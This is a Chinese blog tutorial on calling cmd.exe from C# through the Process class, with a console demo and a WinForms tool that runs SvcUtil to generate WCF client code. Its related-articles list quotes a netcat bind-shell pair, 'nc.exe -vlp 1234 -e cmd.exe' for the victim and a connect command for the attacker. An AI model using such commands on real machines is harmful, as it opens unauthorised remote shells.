C#程序调用CMD执行命令

 

在windows环境下,命令行程序为cmd.exe,是一个32位的命令行程序,微软Windows系统基于Windows上的命令解释程序,类似于微软的DOS操作系统。输入一些命令,cmd.exe可以执行,比如输入shutdown -s就会在30秒后关机。总之,它非常有用。打开方法:开始-所有程序-附件 或 开始-寻找-输入:cmd/cmd.exe 回车。它也可以执行BAT文件。

下面介绍使用C#程序调用cmd执行命令:

代码:

 1 using System;
2 using System.Collections.Generic;
3 using System.Linq;
4 using System.Text;
5 using System.Threading.Tasks;
6 using System.Diagnostics;
7
8 namespace CmdDemo
9 {
10 class Program
11 {
12 static void Main(string[] args)
13 {
14 Console.WriteLine("请输入要执行的命令:");
15 string strInput = Console.ReadLine();
16 Process p = new Process();
17 //设置要启动的应用程序
18 p.StartInfo.FileName = "cmd.exe";
19 //是否使用操作系统shell启动
20 p.StartInfo.UseShellExecute = false;
21 // 接受来自调用程序的输入信息
22 p.StartInfo.RedirectStandardInput = true;
23 //输出信息
24 p.StartInfo.RedirectStandardOutput = true;
25 // 输出错误
26 p.StartInfo.RedirectStandardError = true;
27 //不显示程序窗口
28 p.StartInfo.CreateNoWindow = true;
29 //启动程序
30 p.Start();
31
32 //向cmd窗口发送输入信息
33 p.StandardInput.WriteLine(strInput+"&exit");
34
35 p.StandardInput.AutoFlush=true;
36
37 //获取输出信息
38 string strOuput = p.StandardOutput.ReadToEnd();
39 //等待程序执行完退出进程
40 p.WaitForExit();
41 p.Close();
42
43 Console.WriteLine(strOuput);
44
45 Console.ReadKey();
46 }
47 }
48 }

运行效果:

应用:使用C#程序调用cmd命令生成WCF服务的客户端调用文件

设计界面:

代码如下:

 1 using System;
2 using System.Collections.Generic;
3 using System.ComponentModel;
4 using System.Data;
5 using System.Drawing;
6 using System.Linq;
7 using System.Text;
8 using System.Threading.Tasks;
9 using System.Windows.Forms;
10 using System.Diagnostics;
11
12 namespace ExecuteCMD
13 {
14 public partial class FrmMain : Form
15 {
16 public FrmMain()
17 {
18 InitializeComponent();
19 }
20
21 private void btn_Create_Click(object sender, EventArgs e)
22 {
23 try
24 {
25 //创建一个进程
26 Process p = new Process();
27 p.StartInfo.FileName = "cmd.exe";
28 p.StartInfo.UseShellExecute = false;//是否使用操作系统shell启动
29 p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
30 p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
31 p.StartInfo.RedirectStandardError = true;//重定向标准错误输出
32 p.StartInfo.CreateNoWindow = true;//不显示程序窗口
33 p.Start();//启动程序
34
35 string strCMD = "\"" + @"C:\Program Files (x86)\Microsoft SDKs\Windows\v8.0A\bin\NETFX 4.0 Tools\SvcUtil.exe" + "\" " + this.txt_URL.Text.ToString().Trim()
36 + " /r:"+"\""+@"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Data.dll" +"\""+ " /syncOnly";
37 //向cmd窗口发送输入信息
38 p.StandardInput.WriteLine(strCMD + "&exit");
39
40 p.StandardInput.AutoFlush = true;
41
42 //获取cmd窗口的输出信息
43 string output = p.StandardOutput.ReadToEnd();
44 //等待程序执行完退出进程
45 p.WaitForExit();
46 p.Close();
47
48
49 MessageBox.Show(output);
50 Console.WriteLine(output);
51 }
52 catch (Exception ex)
53 {
54 MessageBox.Show(ex.Message + "\r\n跟踪;" + ex.StackTrace);
55 }
56 }
57 }
58 }

点击创建按钮,会在bin\Debug目录下面生成对于的cs文件

C#调用一下CMD的更多相关文章

  1. SQL server 存储过程 C#调用Windows CMD命令并返回输出结果 Mysql删除重复数据保留最小的id C# 取字符串中间文本 取字符串左边 取字符串右边 C# JSON格式数据高级用法

    create proc insertLog@Title nvarchar(50),@Contents nvarchar(max),@UserId int,@CreateTime datetimeasi ...

  2. C#调用Windows CMD命令并,返回输出结果或错误信息

    public static string InvokeExcute(string Command) { Command = Command.Trim().TrimEnd('&') + &quo ...

  3. Java包package之间调用问题-cmd运行窗口编译运行

    问题:在使用了java包机制(package)后,编译出现错误:找不到或无法加载主类 xxx 的错误提示信息(各种编译不通过) 先给演示结果: 编译:javac -d classes src/a/He ...

  4. Ant 调用 Shell/CMD 命令

    Ant中调用Makefile,使用shell中的make命令 <?xml version="1.0" encoding="utf-8" ?> < ...

  5. java调用执行cmd指令启动weblogic

    这里的例子是启动weblogic import java.io.BufferedReader; import java.io.IOException; import java.io.InputStre ...

  6. java调用执行cmd命令

    未经允许,禁止转载!!! package practice; import java.io.BufferedReader; import java.io.File; import java.io.IO ...

  7. java代码调用exe(cmd命令)

    public class ShellCommand{    public static void execCmd(String cmd, boolean wait)    {        execC ...

  8. nc监控实现调用受害者cmd

    正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...

  9. CMD规范的函数与普通函数间调用

    /* * a.js * 普通的非cmd规范的js文件 */ function fun1(){ console.log("fun1"); //调用seajs模块中的fun1 seaj ...

随机推荐

  1. 「中山纪中集训省选组D1T1」最大收益 贪心

    题目描述 给出\(N\)件单位时间任务,对于第\(i\)件任务,如果要完成该任务,需要占用\([S_i, T_i]\)间的某个时刻,且完成后会有\(V_i\)的收益.求最大收益. 澄清:一个时刻只能做 ...

  2. Apache Kafka教程

    1.卡夫卡教程 今天,我们正在使用Apache Kafka Tutorial开始我们的新旅程.在这个Kafka教程中,我们将看到什么是Kafka,Apache Kafka历史以及Kafka的原因.此外 ...

  3. djngo未整理

    Django Django基础命令 - runserver 本地建议运行Django - shell 进入Django项目得python shell环境 - test 执行Django 用列测试 数据 ...

  4. session知识点小结

    Session: 1. 概念:服务器端会话技术,在一次会话的多次请求间共享数据,将数据保存在服务器端的对象HttpSession中. 2. 快速入门: 1. 获取HttpSession对象: Http ...

  5. Magic Line(思维+计算几何问题)(2019牛客暑期多校训练营(第三场))

    示例: 输入: 140 1-1 01 00 -1 输出:-1 999000000 1 -999000001 题意:给定平面上一系列的点,求一条以(x1,y1),(x2,y2)两点表示的直线将平面分为包 ...

  6. Linux iptables常用防火墙规则

    iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT #允许本地回环接口(即运行本机访问本机) iptables -A INPUT -m stat ...

  7. golang隐藏/显示window系统下的黑色命令窗(hide/show console)

    导入包import "github.com/gonutz/ide/w32" //隐藏consolefunc HideConsole(){ ShowConsoleAsync(w32. ...

  8. Mac上go的下载安装教程

    mac上go的下载安装教程 官网https://golang.google.cn/dl/下载,安装 环境变量配置 参考https://www.jianshu.com/p/5c1873eaf3ca Ba ...

  9. 流程审批时执行BE插件

    1.启用审批流时,BE插件解决方案目标框架必须采用.Net Framwork3.5: 2.BE插件相关DLL部署位置:Applicationser/libs.MailServer/libs: 3.BE ...

  10. kafka和zookeeper安装部署(版本弄不好就是坑)

    yum install -y unzip zip 配置host vi /etc/host172.19.68.10 zk1 1. zookeeper zookeeper下载地址 http://mirro ...